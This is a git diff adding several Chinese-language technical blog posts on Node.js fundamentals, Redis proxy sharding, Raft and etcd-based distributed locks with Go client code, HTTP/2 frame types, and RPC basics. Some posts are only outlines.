Proxy 将业务逻辑和存储逻辑隔离。客户端发送请求到一个代理,代理解析客户端的数据,将请求转发至正确的节点,然后将结果回复给客户端。这种架构还有一个优点就是可以把 Proxy 当成一个中间件,在这个中间件上可以做很多事情,比如可以把集群和主从的兼容性做到几乎一致,可以做无缝扩减容、安全策略等。 + +基于代理的分片已经有很多成熟的方案,如开源的 Codis,阿里云的 ApsaraDB for Redis/ApsaraCache,腾讯的 CRS 等。很多大企业也在采用 Proxy+Redis-Server 的架构。 diff --git a/_posts/2023-1-29-test-markdown.md b/_posts/2023-1-29-test-markdown.md new file mode 100644 index 000000000000..ea0b8f9a6880 --- /dev/null +++ b/_posts/2023-1-29-test-markdown.md @@ -0,0 +1,346 @@ +--- +layout: post +title: Nodejs 学习和实战 +subtitle: +tags: [nodejs] +comments: true +--- + +### 1. Node + +Node 采用事件驱动,非阻塞和异步 I/O 模型. + +> JavaScript 只是一门在浏览器环境下运行的语言,它的学习门槛非常低,而在服务器端几乎没有市场,可以说「这是一片净土」,为它倒入一套「非阻塞异步 I/O 库」要容易得多了。另外一个重要的原因,JavaScript 在浏览器环境下,就已经广泛的使用了「事件驱动」,像页面按钮的监听点击动作,页面加载完成事件等等,都是「事件驱动」方面的应用。 + +#### 1.1 Node 适合做什么? + +它是一个高性能的 Web 服务器, 采用的是事件驱动,异步 I/O 模型,那么它的优势就在 Web,高性能 I/O 上面,于是它擅长做如下应用: +Web 服务 API( REST ) +服务端 Web 应用,高并发请求 +即时通信应用 +静态文件服务器( I/O 类) + +#### 1.2 Node 安装 + +Node 环境 +Node 是全平台支持的,官方提供了下载地址,分为长期版本以及当前版本,初学者建议安装长期版本,截止到写该篇文章为止,Node 的长期版本号为:10.15.1,我们打开官方下载页面:Download | Node.js + +Windows 平台和 Mac 平台直接下载对应的软件包,然后双击安装即可。 + +这里主要介绍一下 Linux 平台的安装,如果使用的是 Ubuntu 系统的话,有可能会发现,通过 sudo apt install node 命令是无法安装的,那是因为 apt 库里没有该软件包。如果是这种情况,我们就需要自己下载软件包进行安装。下载 Linux 编译好的软件包,即上面的 Linux Binaries 的版本,注意别下成源码了,源码编译太慢了(别问我怎么知道了)。 + +命令行界面,我们使用 wget 下载,命令如下: + +```shell +wget https://nodejs.org/dist/v10.15.1/node-v10.15.1-linux-x64.tar.xz +``` + +以上是 10.15.1 长期版本的下载链接,如果版本有更新,请到官网找到最新的下载链接。下载到当前目录后解压,命令如下; + +```shell +tar -xvf node-v10.15.1-linux-x64.tar.xz +``` + +解压出来一个目录,进入 bin 目录,会发现直接就能用了。这就是 Linux 的魅力,基本都是绿色软件。我们转移一下软件目录,我一般的习惯是剪贴到 /usr/local/ 目录下,命令如下: + +```shell +mv node-v10.15.1-linux-x64/\* /usr/local/node +``` + +最后,编写 ~/.zshrc 文件,添加 PATH ,这样就可以在任何目录下访问 node 以及 npm 命令了。 + +```shell +vim ~/.zshrc +``` + +编辑文件,在任何地方添加一行: +export PATH=$PATH:/usr/local/node/bin + +另外,Mac 用户还可以通过 bower 来安装 Node ,通过命令 + +```shell +bower install node +``` + +即可。 +Node 环境安装完成之后,在命令行处输入 + +```shell +node -v +``` + +显示版本号,即表示安装成功。于此同时,也拥有了,目前最大的前端包管理器,它就是 npm 。 +它的强大之处,就在「有事没事,上去搜一下,只有想不到的,没有它没有的」。开发过程中,很多时候,觉得很麻烦的地方,没准别人早就做好模块,等着供使用了。 +学习以下命令,基本就满足开发需要了。 + +```shell +npm -l 查看命令帮助 +``` + +```shell +npm install -g xxx 全局安装,之前安装的 supervisor 以及 +``` + +```shell +npm install --save xxx 安装到项目目录中 +``` + +```shell +express-generator 就是这类 +``` + +```shell +npm ls xxx 查看当前目录是否安装该依赖 +``` + +```shell +npm search xxx 搜索依赖包 +``` + +#### 1.3 supervisor + +什么是 supervisor?它是一个进程管理工具,当线上的 Web 应用崩溃的时候,它可以帮助重新启动应用,让应用一直保持线上状态。听起来,开发阶段貌似没有啥用呀,其实不然,开发阶段更需要它。 + +开发的时候,当修改后台代码后,我们需要重启服务,以便及时看到最新的效果,如果没有它,我们需要修改一段代码,就要手动重启一下服务,效率就低下了。 + +安装方法很简单,在命令行中,输入 npm i -g supervisor 即可。安装完成之后,我们就可以使用 supervisor 命令来替代 node 命令启动项目了,当项目中代码变化时,supervisor 会自动帮我们重启项目。 + +#### 1.4 Hello Node + +> Node 安装完成之后,我们在命令行处输入 node,会出现命令行交互界面,我们输入 console.log('Hello, World!') 回车,将会在控制台,打印出 Hello, World! 的字样。如果我说,这就是 Node 的「Hello, World」程序,一定会质问,这算什么呀?在浏览器命令行里,输入同样的代码,也会出现相同的结果,这明明是 JavaScript 语言的「Hello, World」,跟 Node 有半毛钱关系呀。 + +```javascript +const http = require("http"); +http + .createServer(function (req, res) { + res.setHeader("content-type", "text/plain"); + res.end("Hello, World!"); + }) + .listen("3000"); +console.log("Server is started @3000"); +``` + +先不着急明白代码的含义,先在编辑器上敲出如上代码,然后保存到本地,命名为 helloworld.js ,然后到终端中, +`shell supervisor helloworld.js ` +运行代码. + +如果上述环境安装都没有问题的话,的服务已经在本地 3000 端口跑起来了,打开浏览器,输入网址:http://localhost:3000 将会看到,属于 Node 的 「Hello, World」程序。 +我们修改一下代码,将打印的文本替换成 「Hello, Node!」,在终端处,会看到服务自动重启, + +### 2 Node 的模块和包 + +一段简单的代码,如果真的要深入去挖掘,会发现,其实并没有想象的那么简单,我们再来看看这段代码。 + +```javascript +const http = require("http"); +http + .createServer(function (req, res) { + res.setHeader("content-type", "text/plain"); + res.end("Hello, World!"); + }) + .listen("3000"); +console.log("Server is started @3000"); +``` + +假如我是一个初学者,我有很多的问题想要问: + +require 是什么? +http 是什么? +createServer 方法定义的是什么? +createServer 方法里竟然传入了一个 function,这是什么操作? +req, res 各自是什么? +console 又是什么? +看,短短 6 句代码,随随便便就能问出这么多问题,而且都还不算深入的,这些问题真要深入去研究,几乎都可以当作一个课题,因为它涉及到了 HTTP 模块 API、CommonJS 规范、事件驱动、函数式编程等等概念。这里我们先不着急去回答这些问题,我们依然从 Node 的基础概念入手。 + +JavaScript 很多关于后台开发的规范,都源自于 CommonJS,Node 也正是借助了 CommonJS ,从而迅速在服务器端占领市场。那么 CommonJS 的模块机制到底定义些什么内容呢? + +#### 2.1 Node 借助 CommonJS 的规范 + +示例:我们创建一个 template.js 文件,写上如下代码: + +```javascript +var http = "hello, world, I am from template!"; +var changeToHeader = () => { + return "

" + http + "

"; +}; +``` + +这里定义两个变量,它的作用域只在 template 模块中,不会影响其他地方定义的 http 和 changeToHeader 变量。 + +global? +global 是顶层对象,其属性对所有模块共享,但由于作用域污染问题,不建议这么使用.从这里我们就知道了,为什么 console 都没有定义,就能直接使用了,因为在 Node 中,它是直接「挂靠」在 global 顶层对象下的「一等公民」,console 也等同于 global.console + +#### 2.2 导出模块 + +如何导出模块? +module 对象代表当前模块,它的 exports 属性(即 module.exports)是对外的接口,加载某个模块,其实是加载该模块的 module.exports + +```javascript +var http = "hello, world, I am from template!"; +var changeToHeader = () => { + return "

" + http + "

"; +}; +module.exports = changeToHeader; +``` + +解读: +template 这个包的 exports 属性被赋值为 changeToHeader 这个变量,如果导入多个变量 + +```javascript +var http = "hello, world, I am from template!"; +var changeToHeader = () => { + return "

" + http + "

"; +}; +var changeTo = () => { + return "

" + http + "

"; +}; +module.exports = { + changeToHeader, + changeTo, +}; +``` + +#### 2.3 module.exports 和 exports 区别? + +module.exports 属性表示当前模块对外输出的接口,上面已经讲到了,假如我想将多个方法或者变量对外开放,该如何操作? + +```javascript +var http = "hello, world, I am from template!"; +var changeToHeader = () => { + return "

" + http + "

"; +}; +console.log("loader from module template"); +module.exports.changeToHeader = changeToHeader; +module.exports.http = http; +``` + +> JavaScript 的常规操作之一在对象上加属性 。exports 本身也是对象,这里给 exports 对象加属性。 + +```javascript +const http = require("http"); +const template = require("./template.js"); +http + .createServer(function (req, res) { + res.setHeader("content-type", "text/html"); + res.write(template.http); // 返回模块 template 的 http 变量 + res.end(template.changeToHeader()); // 返回 changeToHeader() 方法 + }) + .listen("3030"); +console.log("Server is started @3030"); +``` + +module.exports.xxx = xxx 这种写法太繁琐了吧。干脆不要了,直接写成这样: + +```javascript +var http = "hello, world, I am from template!"; +var changeToHeader = () => { + return "

" + http + "

"; +}; +console.log("loader from module template"); +exports.changeToHeader = changeToHeader; +exports.http = http; +``` + +诶,还真可以.Node 为我们做了一些事情。Node 为每个模块提供一个 exports 变量(隐式),指向 module.exports!!!(指向就是赋值的意思) + +```javascript +exports = module.exports; +``` + +不能给 exports 重新赋值,会覆盖之前的数值 + +```javascript +exports = http; +exports = changeToHeader; +``` + +正确的写法是: + +```javascript +exports.http = http; +exports.changeToHeader = changeToHeader; +``` + +改变 module.exports 的数值之后,因为 exports 指向 module.exports + +#### 2.4 Export 导出-Import 导入 + +export 用于对外输出模块,可导出常量、函数、文件等,相当于定义了对外的接口,两种导出方式: + +export: 使用 export 方式导出的,导入时要加上 {} 需预先知道要加载的变量名,在一个文件中可以使用多次。 +export default: 为模块指定默认输出,这样加载时就不需要知道所加载的模块变量名,一个文件中仅可使用一次。 + +```javascript +export function add(a, b) { + return a + b; +} + +export function subtract(a, b) { + return a - b; +} + +const caculator = { + add, + subtract, +}; +export default caculator; +``` + +export: 使用 export 方式导出的,导入时要加上 {} 需预先知道要加载的变量名,在一个文件中可以使用多次。 + +```javascript +import { add } from "./caculator.js"; +``` + +export default: 为模块指定默认输出,这样加载时就不需要知道所加载的模块变量名,一个文件中仅可使用一次。 + +```javascript +import caculator from "./caculator.js"; +``` + +```javascript +import * as caculatorAs from "./caculator.js"; +``` + +import 导入 + +```javascript +import { add } from "./caculator.js"; +import caculator from "./caculator.js"; +import * as caculatorAs from "./caculator.js"; +add(4, 2); +caculator.subtract(4, 2); +caculatorAs.subtract(4, 2); +``` + +#### 2.5 Await 和 REPL 增强功能 + +> Nodejs v14.3.0 发布支持顶级 Await 和 REPL 增强功能 + +> 不再需要更多的 "async await, async await..." 支持在异步函数之外使用 await 关键字 + +> ES Modules 基本使用 +> 通过声明 .mjs 后缀的文件或在 package.json 里指定 type 为 module 两种方式使用 ES Modules,下面分别看下两种的使用方式: + +package.json + +重点是将 type 设置为 module 来支持 ES Modules + +```json +{ + "name": "esm-project", + "version": "1.0.0", + "main": "index.js", + "type": "module" +} +``` + +#### 2.5 模块的分类 + +核心模块 +核心模块是 Node 直接编译成二进制的那一类,这类模块总是会被优先加载,例如上述的 http 模块。在引用的时候,也最为方便,直接使用 require() 方法即可。 + +文件模块 +文件模块就是我们自己编写的或是他人编写的,我们自己编写的模块,一般都是通过文件路径进行引入 + +引用他人编写的模块,通常情况下,都是通过 npm 包管理器来安装,安装命令:npm i xxx --save,会自动将模块安装到项目根目录 node_modules 下,引用的时候,直接 require('xxx') 即可,同核心模块引用方式一样。假如没有找到模块,Node 会自动到文件的上一层父目录进行查找,直到文件系统的根目录。如果还没有找到,则会报错找不到。 diff --git a/_posts/2023-1-3-test-markdown.md b/_posts/2023-1-3-test-markdown.md new file mode 100644 index 000000000000..7d5e9120ba42 --- /dev/null +++ b/_posts/2023-1-3-test-markdown.md @@ -0,0 +1,30 @@ +--- +layout: post +title: Client 和 Server是如何交互的? +subtitle: +tags: [rpc] +--- + +#### 1.Magic + +#### 2.SETTINGS + +#### 3.HEADERS + +#### 4.DATA + +#### 5.SETTINGGS + +#### 6.WINDOW_UPDATE + +#### 7.PING + +#### 8.HEADERS + +#### 9.DATA + +#### 10.HEADERS + +#### 11.WINDOW_UPDATE + +#### 12.PING diff --git a/_posts/2023-1-30-test-markdown.md b/_posts/2023-1-30-test-markdown.md new file mode 100644 index 000000000000..820fe4f8cb3d --- /dev/null +++ b/_posts/2023-1-30-test-markdown.md @@ -0,0 +1,9 @@ +--- +layout: post +title: 基于 Redis 的分布式缓存实现 +subtitle: +tags: [Redis] +comments: true +--- + +### 1.基于 Redis 和 Lettuce 搭建一个分布式缓存集群的方法 diff --git a/_posts/2023-1-31-test-markdown.md b/_posts/2023-1-31-test-markdown.md new file mode 100644 index 000000000000..ff5ddae815a4 --- /dev/null +++ b/_posts/2023-1-31-test-markdown.md @@ -0,0 +1,347 @@ +--- +layout: post +title: 分布式一致性算法 Raft 和 Etcd 原理解析 +subtitle: +tags: [Redis] +comments: true +--- + +### 1 Raft 算法 + +> 之前写过详细的 Raft 的算法,这里就简略一下 + +在分布式系统中,一致性算法至关重要。在所有一致性算法中,Paxos 最负盛名,它由莱斯利·兰伯特(Leslie Lamport)于 1990 年提出,是一种基于消息传递的一致性算法,被认为是类似算法中最有效的。 + +Paxos 算法虽然很有效,但复杂的原理使它实现起来非常困难,截止目前,实现 Paxos 算法的开源软件很少,比较出名的有 Chubby、LibPaxos。此外,Zookeeper 采用的 ZAB(Zookeeper Atomic Broadcast)协议也是基于 Paxos 算法实现的,不过 ZAB 对 Paxos 进行了很多改进与优化,两者的设计目标也存在差异——ZAB 协议主要用于构建一个高可用的分布式数据主备系统,而 Paxos 算法则是用于构建一个分布式的一致性状态机系统。 + +由于 Paxos 算法过于复杂、实现困难,极大地制约了其应用,而分布式系统领域又亟需一种高效而易于实现的分布式一致性算法,在此背景下,Raft 算法应运而生。 + +Raft 算法在斯坦福 Diego Ongaro 和 John Ousterhout 于 2013 年发表的《In Search of an Understandable Consensus Algorithm》中提出。相较于 Paxos,Raft 通过逻辑分离使其更容易理解和实现,目前,已经有十多种语言的 Raft 算法实现框架,较为出名的有 etcd、Consul 。 + +根据官方文档解释,一个 Raft 集群包含若干节点,Raft 把这些节点分为三种状态:Leader、 Follower、Candidate,每种状态负责的任务也是不一样的。正常情况下,集群中的节点只存在 Leader 与 Follower 两种状态。 + +#### 1.1 角色 + +Leader(领导者):负责日志的同步管理,处理来自客户端的请求,与 Follower 保持 heartBeat 的联系; +Follower(追随者):响应 Leader 的日志同步请求,响应 Candidate 的邀票请求,以及把客户端请求到 Follower 的事务转发(重定向)给 Leader; +Candidate(候选者):负责选举投票,集群刚启动或者 Leader 宕机时,状态为 Follower 的节点将转为 Candidate 并发起选举,选举胜出(获得超过半数节点的投票)后,从 Candidate 转为 Leader 状态。 + +#### 1.2 三个子问题 + +通常,Raft 集群中只有一个 Leader,其它节点都是 Follower。Follower 都是被动的,不会发送任何请求,只是简单地响应来自 Leader 或者 Candidate 的请求。Leader 负责处理所有的客户端请求(如果一个客户端和 Follower 联系,那么 Follower 会把请求重定向给 Leader)。 + +选举(Leader Election):当 Leader 宕机或者集群初创时,一个新的 Leader 需要被选举出来; + +日志复制(Log Replication):Leader 接收来自客户端的请求并将其以日志条目的形式复制到集群中的其它节点,并且强制要求其它节点的日志和自己保持一致; + +安全性(Safety):如果有任何的服务器节点已经应用了一个确定的日志条目到它的状态机中,那么其它服务器节点不能在同一个日志索引位置应用一个不同的指令。 + +### 2.ETCD + +Etcd 主要分为四个部分:HTTP Server、Store、Raft 以及 WAL。 + +HTTP Server:用于处理客户端发送的 API 请求以及其它 Etcd 节点的同步与心跳信息请求。 + +Store:用于处理 Etcd 支持的各类功能的事务,包括数据索引、节点状态变更、监控与反馈、事件处理与执行等等,是 Etcd 对用户提供的大多数 API 功能的具体实现。 + +Raft:Raft 强一致性算法的具体实现,是 Etcd 的核心。 + +WAL:Write Ahead Log(预写式日志),是 Etcd 的数据存储方式。除了在内存中存有所有数据的状态以及节点的索引,Etcd 还通过 WAL 进行持久化存储。WAL 中,所有的数据提交前都会事先记录日志。Snapshot 是为了防止数据过多而进行的状态快照。Entry 表示存储的具体日志内容。 + +> 用户请求——Http Server 请求的转发——Store 进行事务的处理——(如果涉及节点状态的变更,交给 Raft 模块进行状态变更)——同步数据到其他节点以确认数据提交——提交数据,再次同步 + +#### 2.1 Etcd 的基本概念词 + +由于 Etcd 基于分布式一致性算法 Raft,其涉及的概念词与 Raft 保持一致。 + +Cluster:ETCD 集群 +Raft:Etcd 的核心,保证分布式系统强一致性的算法。 +Member:一个 Etcd 实例,它管理着一个 Node,并且可以为客户端请求提供服务。 +Node:一个 Raft 状态机实例。 +Peer:对同一个 Etcd 集群中另外一个 Member 的称呼。 +Snapshot:Etcd 防止 WAL 文件过多而设置的快照,存储 Etcd 数据状态。 +WAL:WRITE Ahead LOG 预写式日志 +Leader:Raft 算法中通过竞选而产生的处理所有数据提交的节点。 +Follower:竞选失败的节点作为 Raft 中的从属节点,为算法提供强一致性保证。 +Candidate:当超过一定时间接收不到 Leader 的心跳时, Follower 转变为 Candidate 开始竞选。 + +#### 2.2 Etcd 能做什么 + +> A distributed, reliable key-value store for the most critical data of a distributed system. + +为分布式部署的多个节点之间提供数据共享功能。 + +> 分布式系统中,有一个最基本的需求,即如何保证分布式部署的多个节点之间的数据共享。如同团队协作,成员可以分头干活,但总是需要共享一些必须的信息,比如谁是 Leader、团队成员列表、关联任务之间的顺序协调等。所以分布式系统要么自己实现一个可靠的共享存储来同步信息,要么依赖一个可靠的共享存储服务,而 Etcd 就是这样一个服务 + +> 它是一个可用于存储分布式系统关键数据的可靠的键值数据库。但事实上,Etcd 作为 Key-Value 型数据库还有其它特点,如 Watch 机制、租约机制、Revision 机制等,正是这些机制赋予了 Etcd 强大的能力。 + +#### 2.3 Etcd 主要应用场景 + +> 服务发现 + +服务发现解决:同一个集群中的进程和服务如何找到对方并建立连接? + +原理: + +- 有一个高可靠、高可用的中心配置节点:基于 Raft 算法的 ETCD 天然支持。 +- 用户要在注册中心配置节点,并且对相应的服务配置租约。 +- 服务的提供者要向配置节点注册服务,并且向配置节点定时续约以达到维持服务的目的。 +- 服务的调用方持续的读取中心配置节点的配置并且修改本机的配置,然后 Reload 服务:服务提供方在 ETCD 的指定目录下注册服务,服务调用者在对应的目录下查询服务,通过 watch 机制,服务调用方还可以检测服务的变化 + +> 消息的订阅和发布 + +分布式系统间通信常用的方式是:消息发布-订阅机制。共享一个配置中心,数据提供者在配置中心发布消息,消息使用者订阅他们关心的主题,一旦有关主题有消息发布,实时通知订阅者 。 + +应用启动的时候,应用要主动从 ETCD 获取配置信息,同时在 ETCD 上注册一个 Watcher 并等待。每次配置有更新的时候,ETCD 都会通知订阅者 + +> 分布式锁 + +ETCD 支持 Revision 机制,同一个 LOCK 有多个客户端争夺。 +原理就是:每一个 Revision 编号有序且唯一,客户端根据 Revision 的大小确定获得锁的先后顺序,实现公平锁。 + +> 集群监控与 Leader 竞选 + +某个 KEY 消失或者变动时,Watcher 第一时间发现并告知用户。 +原理:每个节点可以为 Key 设置租约 TTL,每个节点都是每隔 30s 向 ETCD 发送心跳续约,代表该节点的 KEY 存活,如果节点故障,续约停止,那么对应的 KEY 将会被删除。通过 watch 机制第一时间就完成了检测各个节点的健康状态,完成了集群监控的要求。 + +Leader 竞选:使用分布式锁,可以很好的实现 Leader 竞选,抢占锁成功的成为 Leader. + +### 3 基于 Etcd 的分布式锁实现原理及方案 + +> Etcd 是一个分布式,可靠的 Key-Value 存储系统,主要用于存储分布式系统中的关键数据 + +> 实现分布式锁的开源软件有很多,其中应用最广泛、大家最熟悉的应该就是 ZooKeeper,此外还有数据库、Redis、Chubby 等。但若从读写性能、可靠性、可用性、安全性和复杂度等方面综合考量,作为后起之秀的 Etcd 无疑是其中的 “佼佼者” 。它完全媲美业界“名宿”ZooKeeper,在有些方面,Etcd 甚至超越了 ZooKeeper,如 Etcd 采用的 Raft 协议就要比 ZooKeeper 采用的 Zab 协议简单、易理解。 + +Etcd 作为 CoreOS 开源项目,有以下的特点: + +简单:使用 Go 语言编写,部署简单;支持 cURL 方式的用户 API (HTTP+JSON),使用简单 +安全:可选 SSL 证书认证; +快速:在保证强一致性的同时,读写性能优秀,详情可查看官方提供的 Benchmark 数据 ; +可靠:采用 Raft 算法实现分布式系统数据的高可用性和强一致性。 + +> cURL 即 clientURL,代表客户端 URL,是一个命令行工具,开发人员使用它来与服务器进行数据交互 + +#### 3.1 分布式锁的原理 + +分布式环境下,多台机器上多个进程对同一个共享资源(数据、文件等)进行操作,如果不做互斥,就有可能出现“余额扣成负数”,或者“商品超卖”的情况。为了解决这个问题,需要分布式锁服务。首先,来看一下分布式锁应该具备哪些条件。 + +- 任意时刻,一个锁只能被一个客户端获取。 +- 安全性:客户端在持有锁的期间如果崩溃,没有主动解锁,它持有的锁也能被正确释放。 +- 可用性:提供锁的节点如果发生宕机,**热备**节点能够代替故障节点提供服务,并且和故障节点数据一致。 +- 对称性:一个客户端 A 不能解锁客户端 B 的锁 + +#### 3.2 Etcd 实现分布式锁的基础 + +Etcd 支持的以下机制:Watch 机制、Lease 机制、Revision 机制和 Prefix 机制,正是这些机制赋予了 Etcd 实现分布式锁的能力。 + +> 如果客户端不能释放锁,那么会因租约到期而释放锁 + +- Lease 机制:即租约机制(TTL,Time To Live),Etcd 可以为存储的 Key-Value 对设置租约,当租约到期,Key-Value 将失效删除;同时也支持续约,通过客户端可以在租约到期之前续约,以避免 Key-Value 对过期失效。Lease 机制可以保证分布式锁的安全性,为锁对应的 Key 配置租约,即使锁的持有者因故障而不能主动释放锁,锁也会因租约到期而自动释放。 + +> 每个 key 带 Revision 号,根据 Revision 的大小确定写操作的顺序 + +- Revision 机制:每个 Key 带有一个 Revision 号,每进行一次事务便加一,因此它是全局唯一的,如初始值为 0,进行一次 put(key, value),Key 的 Revision 变为 1,同样的操作,再进行一次,Revision 变为 2;换成 key1 进行 put(key1, value) 操作,Revision 将变为 3;这种机制有一个作用:通过 Revision 的大小就可以知道写操作的顺序。在实现分布式锁时,多个客户端同时抢锁,根据 Revision 号大小依次获得锁,可以避免 “羊群效应” (也称“惊群效应”),实现公平锁。 + +> 通过锁名前缀查询得到包含 Revision 的 key-value 列表,然后通过判断 Revision 大小判断自己是否抢锁成功。 + +- Prefix 机制:即前缀机制,也称目录机制,例如,一个名为 /mylock 的锁,两个争抢它的客户端进行写操作,实际写入的 Key 分别为:key1="/mylock/UUID1",key2="/mylock/UUID2",其中,UUID 表示全局唯一的 ID,确保两个 Key 的唯一性。很显然,写操作都会成功,但返回的 Revision 不一样,那么,如何判断谁获得了锁呢?通过前缀“/mylock” 查询,返回包含两个 Key-Value 对的 Key-Value 列表,同时也包含它们的 Revision,通过 Revision 大小,客户端可以判断自己是否获得锁,如果抢锁失败,则等待锁释放(对应的 Key 被删除或者租约过期),然后再判断自己是否可以获得锁。 + +> 监听 Revision 在自己之前的 key 对应的节点/服务,只有在自己之前的释放锁,自己才能获得锁 + +- Watch 机制:即监听机制,Watch 机制支持监听某个固定的 Key,也支持监听一个范围(前缀机制),当被监听的 Key 或范围发生变化,客户端将收到通知;在实现分布式锁时,如果抢锁失败,可通过 Prefix 机制返回的 Key-Value 列表获得 Revision 比自己小且相差最小的 Key(称为 Pre-Key),对 Pre-Key 进行监听,因为只有它释放锁,自己才能获得锁,如果监听到 Pre-Key 的 DELETE 事件,则说明 Pre-Key 已经释放,自己已经持有锁。 + +#### 3.2 实现分布式锁 + +> 基于 Etcd 提供的分布式锁基础接口进行封装,实现分布式锁 + +ETCD Go 客户端 + +获取客户端连接 + +```go +func main() { + config := clientv3.Config{ + Endpoints: []string{"xxx.xxx.xxx.xxx:2379"}, + DialTimeout: 5 * time.Second, + } + + // 获取客户端连接 + _, err := clientv3.New(config) + if err != nil { + fmt.Println(err) + return + } +} +``` + +PUT 操作: + +```go +// 用于写etcd的键值对 +kv := clientv3.NewKV(client) + +// PUT请求,clientv3.WithPrevKV()表示获取上一个版本的kv +putResp, err := kv.Put(context.TODO(), "/cron/jobs/job1", "hello",clientv3.WithPrevKV()) +if err != nil { + fmt.Println(err) + return +} +// 获取版本号 +fmt.Println("Revision:", putResp.Header.Revision) +// 如果有上一个kv 返回kv的值 +if putResp.PrevKv != nil { + fmt.Println("PrevValue:", string(putResp.PrevKv.Value)) +} +``` + +GET 操作: + +```go +// 用于读写etcd的键值对 +kv := clientv3.NewKV(client) + +// 简单的get操作 +getResp, err := kv.Get(context.TODO(), "cron/jobs/job1", clientv3.WithCountOnly()) +if err != nil { + fmt.Println(err) + return +} +fmt.Println(getResp.Count) +``` + +Delete 操作 + +```go +// 用于写etcd的键值对 +kv := clientv3.NewKV(client) + +// 读取cron/jobs下的所有key +getResp, err := kv.Get(context.TODO(), "/cron/jobs", clientv3.WithPrefix()) +if err != nil { + fmt.Println(err) + return +} + +// 获取目录下所有key-value +fmt.Println(getResp.Kvs) +``` + +```go +// 用于读写etcd的键值对 +kv := clientv3.NewKV(client) + +// 删除指定kv +delResp, err := kv.Delete(context.TODO(), "/cron/jobs/job1", clientv3.WithPrevKV()) +if err != nil { + fmt.Println(err) + return +} + +// 被删除之前的value是什么 +if len(delResp.PrevKvs) != 0 { + for _, kvpair := range delResp.PrevKvs { + fmt.Println("delete:", string(kvpair.Key), string(kvpair.Value)) + } +} + +// 删除目录下的所有key +delResp, err = kv.Delete(context.TODO(), "/cron/jobs/", clientv3.WithPrefix()) +if err != nil { + fmt.Println(err) + return +} + +// 删除从这个key开始的后面的两个key +delResp, err = kv.Delete(context.TODO(), "/cron/jobs/job1",clientv3.WithFromKey(), clientv3.WithLimit(2)) +if err != nil { + fmt.Println(err) + return +} +``` + +watch 操作 + +监听客户端,可为 Key 或者目录(前缀机制)创建 Watcher,Watcher 可以监听 Key 的事件(Put、Delete 等),如果事件发生,可以通知客户端,客户端采取某些措施。 + +> 如果要实现对某些服务的监控,那么公开的 WATCH 接口应该返回的是一个 CHANNEL 为什么?监控是一个连续的状态,必然是存储连续的数据的数据结构。 + +```go +// 创建一个用于读写的kv +kv := clientv3.NewKV(client) + +// 模拟etcd中kv的变化,每隔1s执行一次put-del操作 +go func() { + for { + kv.Put(context.TODO(), "/cron/jobs/job7", "i am job7") + kv.Delete(context.TODO(), "/cron/jobs/job7") + time.Sleep(time.Second * 1) + } +}() + +// 先get到当前的值,并监听后续变化 +getResp, err := kv.Get(context.TODO(), "/cron/jobs/job7") +if err != nil { + fmt.Println(err) + return +} + +// 现在key是存在的 +if len(getResp.Kvs) != 0 { + fmt.Println("当前值:", string(getResp.Kvs[0].Value)) +} + +// 监听的revision起点 +watchStartRevision := getResp.Header.Revision + 1 + +// 创建一个watcher +watcher := clientv3.NewWatcher(client) + +// 启动监听 +fmt.Println("从这个版本开始监听:", watchStartRevision) + +// 设置5s的watch时间 +ctx, cancelFunc := context.WithCancel(context.TODO()) +time.AfterFunc(5*time.Second, func() { + cancelFunc() +}) +watchRespChan := watcher.Watch(ctx, "/cron/jobs/job7", clientv3.WithRev(watchStartRevision)) + +// 得到kv的变化事件,从chan中取值 +for watchResp := range watchRespChan { + for _, event := range watchResp.Events { //.Events是一个切片 + switch event.Type { + case mvccpb.PUT: + fmt.Println("修改为:", string(event.Kv.Value), + "revision:", event.Kv.CreateRevision, event.Kv.ModRevision) + case mvccpb.DELETE: + fmt.Println("删除了:", "revision:", event.Kv.ModRevision) + } + } +} +``` + +#### 3.3 Etcd 实现分布式锁 + +假设对某个共享资源设置的锁名为`lock/mylock` + +步骤 1:准备 +客户端连接 ETCD,以`lock/mylock`为前缀创建全局唯一的 KEY,假设有两个客户端对应`lock/mylock/UUID1`和`lock/mylock/UUID2` 客户端分别为自己的 KEY 创建租约 Lease。Lease 的长度根据业务耗时间确定,假设为 15s + +步骤 2:创建定时任务作为租约的“心跳” +在一个客户端持有锁期间,其它客户端只能等待,为了避免等待期间租约失效,客户端需创建一个定时任务作为“心跳”进行续约。此外,如果持有锁期间客户端崩溃,心跳停止,Key 将因租约到期而被删除,从而锁释放,避免死锁。 + +步骤 3:客户端将自己全局唯一的 Key 写入 Etcd + +进行 Put 操作,将步骤 1 中创建的 Key 绑定租约写入 Etcd,根据 Etcd 的 Revision 机制,假设两个客户端 Put 操作返回的 Revision 分别为 1、2,客户端需记录 Revision 用以接下来判断自己是否获得锁。 + +步骤 4:客户端判断是否获得锁 + +客户端以前缀 /lock/mylock 读取 Key-Value 列表(Key-Value 中带有 Key 对应的 Revision),判断自己 Key 的 Revision 是否为当前列表中最小的,如果是则认为获得锁;否则监听列表中前一个 Revision 比自己小的 Key 的删除事件,一旦监听到删除事件或者因租约失效而删除的事件,则自己获得锁。 + +步骤 5:执行业务 + +获得锁后,操作共享资源,执行业务代码。 + +步骤 6:释放锁 + +完成业务流程后,删除对应的 Key 释放锁。 diff --git a/_posts/2023-1-9-test-markdown.md b/_posts/2023-1-9-test-markdown.md new file mode 100644 index 000000000000..7a2b8b23fc4a --- /dev/null +++ b/_posts/2023-1-9-test-markdown.md @@ -0,0 +1,37 @@ +--- +layout: post +title: 重温RPC? +subtitle: +tags: [rpc] +--- + +### 1.RPC 介绍 + +RPC 是通信协议,允许一个子计算机程序调用另外一个计算机程序,但是程序员无需为这个交互过程额外编程。远程过程调用也是一个客户端-服务端的例子。远程过程调用总是由客户端对服务端发出一个执行若干过程的请求,服务端用客户端提供的参数,执行结果,并把结果返回给客户端。 +服务的调用过程: + +- client 调用 client stub ,这是一次本地过程调用。 +- client stub 把参数打包成一个消息(marshalling),然后发送这个消息. +- client 所在的系统把消息发送给 server +- server 系统把消息发给 server stub +- server stub 解析消息 +- server stub 参数打包为消息 +- server stub 把消息发送给 server +- server 系统把消息发送给 client + +RPC 仅仅只是描绘了点对点的调用流程,stub ,通信,RPC 消息解析。 +在实际的应用中还需要考虑服务的发现和注销。提供多台服务的负载均衡。有的 RPC 偏向服务治理,有的 RPC 偏向跨语言调用。 +服务治理型的有 DUBBO MOTAN,这类的 RPC 框架可以提供高性能的服务发现和治理的功能。 +跨语言调用的 RPC 框架有 gRPC,这类框架的侧重点是服务的跨语言调用,在使用的时候没有服务发现,那么就需要配合一层代理进行请求的转发和负载。 + +### 2.RPC VS RESTful + +RPC 的消息可以通过 TCP ,UDP,HTTP 传输。 + 